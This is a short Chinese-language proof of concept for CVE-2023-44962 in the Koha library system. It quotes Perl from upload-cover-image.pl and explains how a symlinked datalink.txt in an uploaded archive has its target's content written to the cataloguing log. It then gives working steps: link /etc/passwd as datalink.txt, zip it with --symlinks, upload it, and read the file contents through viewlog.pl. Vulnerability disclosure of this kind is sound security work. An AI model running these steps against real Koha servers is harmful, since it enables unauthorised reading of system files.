CVE-2023-44962 的 PoC
在 upload-cover-image.pl 中上传包含符号链接的归档文件可能会泄露链接文件的部分内容。
...
foreach my $dir (@directories) {
my $file;
if ( -e "$dir/idlink.txt" ) {
$file = "$dir/idlink.txt";
}
elsif ( -e "$dir/datalink.txt" ) {
$file = "$dir/datalink.txt";
}
else {
next;
}
if ( open( my $fh, '<', $file ) ) {
while ( my $line = <$fh> ) {
my $delim =
( $line =~ /\t/ ) ? "\t"
: ( $line =~ /,/ ) ? ","
: "";
unless ( $delim eq "," || $delim eq "\t" ) {
warn
"Unrecognized or missing field delimeter. Please verify that you are using either a ',' or a 'tab'";
$error = 'DELERR';
}
else {
( $biblionumber, $filename ) = split $delim, $line, 2;
$biblionumber =~
s/[\"\r\n]//g; # remove offensive characters
$filename =~ s/[\"\r\n]//g;
$filename =~ s/^\s+//;
$filename =~ s/\s+$//;
if (C4::Context->preference("CataloguingLog")) {
logaction('CATALOGUING', 'MODIFY', $biblionumber, "biblio cover image: $filename");
}
...
从代码中可以看出,当解压出的文件包含 idlink. txt 或 datalink. txt 时,文件内容将被读取,并按照, 或 \t 进行分割。内容的后面部分将被赋值给 $filename,并且当启用 CataloguingLog 属性(默认启用)时,$filename 将被记录。
当访问 viewlog.pl 时,可以看到泄露的文件内容。
首先,创建一个归档文件:
ln -s /etc/passwd datalink.txt
zip --symlinks datalink.zip datalink.txt
然后访问以下 URL 以上传 datalink.zip:
http://koha_ip:intranet_port/cgi-bin/koha/tools/upload-cover-image.pl
响应代码为 500。
然后访问以下 URL 以读取文件内容:
http://192.168.176.139:8081/cgi-bin/koha/tools/viewlog.pl